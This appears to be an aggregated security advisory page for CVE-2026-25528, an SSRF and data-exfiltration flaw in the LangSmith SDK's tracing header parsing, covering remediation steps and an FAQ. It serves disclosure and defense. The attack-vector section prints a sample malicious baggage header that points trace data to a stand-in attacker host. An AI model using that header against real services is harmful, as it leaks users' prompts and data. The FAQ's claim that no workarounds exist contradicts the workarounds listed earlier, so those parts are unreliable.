CVE-2026-25528: LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
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Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.fromheaders() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including apiurl and apikey fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
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Attack Vector
1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"apiurl":"https://attacker.com/exfil","projectname":"x"}]
2. The service parses the header via RunTree.fromheaders(), storing the attacker's URL
3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil
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Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers - SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
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Affected Use Cases
Applications are vulnerable if they: - Use TracingMiddleware to automatically propagate tracing context - Call RunTree.fromheaders() / RunTree.fromHeaders() with untrusted HTTP headers
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Remediation
Update to the patched versions: - Python: pip install langsmith>=0.6.3 - JavaScript: npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing apiurl, apikey, and other credential fields.
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Workarounds
If unable to upgrade immediately: - Strip or validate the baggage header before passing to fromheaders() - Do not use TracingMiddleware with untrusted traffic
Other sources
LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.fromheaders() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including apiurl and apikey fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/langsmithto a version that resolves this vulnerability.Fixed in 0.4.6 - Upgrade
Upgrade
pip/langsmithto a version that resolves this vulnerability.Fixed in 0.6.3 - Upgrade
Upgrade
langsmith (Python)to a version that resolves this vulnerability.Fixed in 0.6.3 - Upgrade
Upgrade
langsmith (JavaScript)to a version that resolves this vulnerability.Fixed in 0.4.6 - Configuration
Do not use `TracingMiddleware` with untrusted traffic.
Distributed tracing TracingMiddleware usage with untrusted traffic = Do not use - Configuration
Strip or validate the `baggage` header before passing it to `RunTree.from_headers()` (Python) / `RunTree.fromHeaders()` (JavaScript/Typescript).
Distributed tracing baggage header = Strip or validate before passing to from_headers/fromHeaders - Configuration
Use `TracingMiddleware` to automatically propagate tracing context.
Distributed tracing Tracing context propagation = Use TracingMiddleware to automatically propagate tracing context - Compensating control
Avoid calling `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers (ensure tracing context is only derived from trusted sources).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25528?
CVE-2026-25528 has been classified as a high severity vulnerability due to the potential for Server-Side Request Forgery.
How do I fix CVE-2026-25528?
To fix CVE-2026-25528, upgrade the LangSmith SDK to version 0.6.3 or later for pip users, or version 0.4.6 or later for npm users.
What impact does CVE-2026-25528 have on my application?
CVE-2026-25528 allows attackers to send malicious HTTP headers that can lead to unauthorized requests being made from the server.
Which versions of LangSmith SDK are affected by CVE-2026-25528?
CVE-2026-25528 affects LangSmith SDK versions prior to 0.6.3 for pip and prior to 0.4.6 for npm.
Is there a workaround for CVE-2026-25528?
There are no official workarounds for CVE-2026-25528; updating to a patched version is the recommended approach.